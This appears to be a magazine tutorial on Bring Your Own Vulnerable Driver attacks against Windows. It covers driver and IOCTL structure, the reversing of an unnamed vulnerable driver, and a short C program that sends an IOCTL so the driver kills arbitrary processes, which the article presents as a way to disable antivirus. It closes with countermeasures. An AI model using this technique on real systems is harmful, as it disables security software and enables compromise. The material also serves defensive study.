
In fact, the possibility to use a third-party driver for malicious purposes has long been known in certain circles, but until some point, this wasn’t so relevant. You can visit any hacker forum and find a bunch of alternative ways to bypass the Windows kernel integrity check and fool the KPP (Kernel Patch Protection) mechanism.
But Microsoft specialists were also aware of such tricks and eventually upgraded the kernel integrity control to a fairly high level, thus, kicking butts of nonstandard programming adepts… It was then that everyone remembered BYOVD because it’s much easier to implement this attack than to search for zero-days in the kernel integrity control mechanism.
BYOVD offers great opportunities: it disables antiviruses, enables local privilege escalation (LPE), and performs other interesting tricks depending on the driver under attack.
After all, the kernel has always been a coveted prize for hackers. Let’s figure out how this attack works.
Driver structure
First, you have to understand the driver structure in Windows and its operating principle. Similar to any other application, any driver has an entry point called DriverEntry; its prototype is shown below:
NTSTATUS DriverEntry ( _In_ PDRIVER_OBJECT DriverObject, _In_ PUNICODE_STRING RegistryPath);
As you can see, two arguments are passed to the main driver function: DriverObject (a pointer to the DRIVER_OBJECT
structure that contains information about the driver) and a pointer to the RegistryPath
string containing the path to the driver file. The DRIVER_OBJECT
structure looks like this:
typedef struct _DRIVER_OBJECT { CSHORT Type; CSHORT Size; PDEVICE_OBJECT DeviceObject; ULONG Flags; PVOID DriverStart; ULONG DriverSize; PVOID DriverSection; PDRIVER_EXTENSION DriverExtension; UNICODE_STRING DriverName; PUNICODE_STRING HardwareDatabase; PFAST_IO_DISPATCH FastIoDispatch; PDRIVER_INITIALIZE DriverInit; PDRIVER_STARTIO DriverStartIo; PDRIVER_UNLOAD DriverUnload; PDRIVER_DISPATCH MajorFunction[IRP_MJ_MAXIMUM_FUNCTION + 1];} DRIVER_OBJECT, *PDRIVER_OBJECT;
To allow a user-mode application to communicate with a kernel-mode driver, a driver device is created using IoCreateDevice or WdmlibIoCreateDeviceSecure, and a symbolic link to it is created using IoCreateSymbolicLink.
Below is a piece of code from an actual driver where a symbolic link to it is created.

Now let’s find out how a user-mode application prompts the driver to perform an action.
Note the PDRIVER_DISPATCH
field in the DRIVER_OBJECT
structure. This field represents an array of pointers to functions that are called by the driver under certain conditions (essentially, this is a list of actions performed by the driver).
The first thing that seems to be of interest is IRP_MJ_DEVICE_CONTROL
: one of the IRP (I/O Request Packet) function codes in the MajorFunction
array. It’s used to handle control requests to the driver device (e.g. reading and writing data). To make it clearer, below is an example of driver code initializing different IRP functions:
NTSTATUS DispatchRead( _In_ PDEVICE_OBJECT DeviceObject, _Inout_ PIRP Irp){ UNREFERENCED_PARAMETER(DeviceObject); // Handle file read operation Irp->IoStatus.Status = STATUS_SUCCESS; Irp->IoStatus.Information = 0; IoCompleteRequest(Irp, IO_NO_INCREMENT); return STATUS_SUCCESS;}...NTSTATUS DriverEntry: // Fill the MajorFunction array DriverObject->MajorFunction[IRP_MJ_CREATE] = DispatchCreateClose; DriverObject->MajorFunction[IRP_MJ_CLOSE] = DispatchCreateClose; // Code to be executed when the IRP_MJ_READ event occurs DriverObject->MajorFunction[IRP_MJ_READ] = DispatchRead; DriverObject->MajorFunction[IRP_MJ_DEVICE_CONTROL] = DriverDispatch;
info
Input/Output Control (IOCTL) is a mechanism behind the interaction between a user application and a device driver in Windows. IOCTL enables an application to send control commands and requests to device drivers in order to perform various operations (read or write data, set device parameters, get device status, etc.). When an application sends an IOCTL, the operating system passes the request to the respective device driver that subsequently performs the required action and returns the result.
IOCTL requests are processed in a special function, DriverDispatch; below is its prototype (remember it; later it will be required to find this function in the disassembler):
NTSTATUS DriverDispatch( [in, out] _DEVICE_OBJECT *DeviceObject, [in, out] _IRP *Irp)
Code that handles IOCTL requests to the driver implemented in the DriverDispatch
function looks approximately like this:
NTSTATUS DriverDispatch(PDEVICE_OBJECT DeviceObject, PIRP Irp){ NTSTATUS status = STATUS_SUCCESS; PIO_STACK_LOCATION irpStack = IoGetCurrentIrpStackLocation(Irp); ULONG controlCode = irpStack->Parameters.DeviceIoControl.IoControlCode; switch(controlCode) { case IOCTL_CUSTOM_COMMAND: // Process user command status = ProcessCustomCommand(DeviceObject, Irp); break; case IOCTL_ANOTHER_COMMAND: // Process another command status = ProcessAnotherCommand(DeviceObject, Irp); break; default: // Unknown command, return error message status = STATUS_INVALID_DEVICE_REQUEST; break; } Irp->IoStatus.Status = status; IoCompleteRequest(Irp, IO_NO_INCREMENT); return status;}
In the above function, IOCTL_CUSTOM_COMMAND
and IOCTL_ANOTHER_COMMAND
are just definitions containing IOCTL numbers sent by the user app to the driver. Following requests from applications, functions will be executed in the driver with ring
priority. The switch-case construct in the DispatchDeviceControl
function is of special interest because it contains numbers of IOCTL control requests.
Examining the driver
Now that you are familiar with the basic structure of the driver and understand how the driver interacts with the user mode, time has come for reverse engineering! Let’s load the driver under investigation to IDA Pro and examine its entry point.
This is a real-life driver vulnerable to BYOVD, and its start code can be slightly different from a simple driver model. To locate code sections where the device and symbolic link are created and where the MajorFunction
array is initialized, let’s see where the DriverObject
argument points (since it’s required for initialization operations). Success! This place is located next to the code that creates a symbolic link (although this isn’t always the case).

The string with memset
initializes the MajorFunction
array. If you go to the sub_140014890
function specified in the argument, you’ll see plenty of code.

The dispatching function can be located by its prototype (the one that I asked you to remember earlier): you simply trace where the argument containing IRP is passed. And inside this function, you can see initialization codes for various elements of MajorFunction
.

IRP_MJ_DEVICE_CONTROL
is of special interest: if you look at the sub_140018ff8
function, you’ll see in it various cases that implement IOCTL codes.

Now you have to examine each case, figure out what it does, and ultimately find something interesting and useful for your purposes. Take, for instance, a function that can terminate processes by the passed PID.

As can be seen from the code, this function terminates processes by calling ZwTerminateProcess
. That’s exactly what you need! Remember the number of the IOCTL request that calls this function.
Coding
So, reversal engineering has borne fruit; time to write a tool that will exploit the tested driver and force it to terminate any process at your command. But first, you have to access the driver. To do this from the user mode, the DeviceIoControl function can be used; its prototype is as follows:
BOOL DeviceIoControl( [in] HANDLE hDevice, [in] DWORD dwIoControlCode, [in, optional] LPVOID lpInBuffer, [in] DWORD nInBufferSize, [out, optional] LPVOID lpOutBuffer, [in] DWORD nOutBufferSize, [out, optional] LPDWORD lpBytesReturned, [in, out, optional] LPOVERLAPPED lpOverlapped);
Note the hDevice
parameter: it’s extracted from the dissembler at the time when the symbolic link is created. The dwIoControlCode
parameter is the number of the case branch that contains the call to ZwTerminateProcess
.
int main() { int status = 0, proc_id = 0; DWORD retBytes = 0; scanf("%u", &proc_id); HANDLE hDevice = CreateFileA( ".my_driver", GENERIC_WRITE|GENERIC_READ, 0, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL ); status = DeviceIoControl(hDevice, 0x88889988, &proc_id, sizeof(proc_id), NULL, 0, &retBytes, NULL); CloseHandle(hDevice); return 0;}
The code is very simple: using CreateFileA
, you get the driver device descriptor by its reference found in the course of reversal; while a call to the DeviceIoControl
function gives a direct instruction to the driver to perform the action specified in the IOCTL code (the dwIoControlCode
argument). In this particular case, the instruction is to terminate a process by its ID. When this code executes, the driver will terminate the target process directly from the kernel by calling the ZwTerminateProcess
function!
Protection
Of course, this technique isn’t a ‘silver bullet’, and a number of countermeasures have been developed to minimize risks posed by BYOVD:
- revoke the driver signing certificate;
- blacklist the driver; and
- virtualization-based security (VBS) and hypervisor-protected code integrity (HVCI).
Let’s briefly go through this list. Certificate revocation renders the signing certificate null and void, and the driver is treated as unsigned. The blacklist contains checksums and fingerprints of drivers that were used in attacks. Virtualization-based Kernel isolation (VBS, including its component HVCI) prevents malicious actions that could be performed by drivers that aren’t yet blacklisted yet, but are already used in attacks. The virtualization system acts as root of trust and assumes that the kernel can be compromised at any time.
Together, all these protective measures can effectively prevent BYOVD attacks. Too bad, some users deliberately disable them (e.g. to improve performance).
Conclusions
Now you are familiar with techniques and tools used by some of the most notorious hacker groups; as the old saying goes, forewarned is forearmed. At least, you won’t disable Windows kernel protection in your system in an attempt to boost its performance by some 10%!
Let the Force be with you!

2023.03.03 — Nightmare Spoofing. Evil Twin attack over dynamic routing
Attacks on dynamic routing domains can wreak havoc on the network since they disrupt the routing process. In this article, I am going to present my own…
Full article →
2022.01.11 — Persistence cheatsheet. How to establish persistence on the target host and detect a compromise of your own system
Once you have got a shell on the target host, the first thing you have to do is make your presence in the system 'persistent'. In many real-life situations,…
Full article →
2022.06.02 — Blindfold game. Manage your Android smartphone via ABD
One day I encountered a technical issue: I had to put a phone connected to a single-board Raspberry Pi computer into the USB-tethering mode on boot. To do this,…
Full article →
2023.07.29 — Invisible device. Penetrating into a local network with an 'undetectable' hacker gadget
Unauthorized access to someone else's device can be gained not only through a USB port, but also via an Ethernet connection - after all, Ethernet sockets…
Full article →
2022.06.03 — Playful Xamarin. Researching and hacking a C# mobile app
Java or Kotlin are not the only languages you can use to create apps for Android. C# programmers can develop mobile apps using the Xamarin open-source…
Full article →
2023.02.12 — Gateway Bleeding. Pentesting FHRP systems and hijacking network traffic
There are many ways to increase fault tolerance and reliability of corporate networks. Among other things, First Hop Redundancy Protocols (FHRP) are used for this…
Full article →
2022.06.01 — Cybercrime story. Analyzing Plaso timelines with Timesketch
When you investigate an incident, it's critical to establish the exact time of the attack and method used to compromise the system. This enables you to track the entire chain of operations…
Full article →
2022.02.09 — F#ck da Antivirus! How to bypass antiviruses during pentest
Antiviruses are extremely useful tools - but not in situations when you need to remain unnoticed on an attacked network. Today, I will explain how…
Full article →
2023.04.04 — Serpent pyramid. Run malware from the EDR blind spots!
In this article, I'll show how to modify a standalone Python interpreter so that you can load malicious dependencies directly into memory using the Pyramid…
Full article →
2023.03.26 — Poisonous spuds. Privilege escalation in AD with RemotePotato0
This article discusses different variations of the NTLM Relay cross-protocol attack delivered using the RemotePotato0 exploit. In addition, you will learn how to hide the signature of an…
Full article →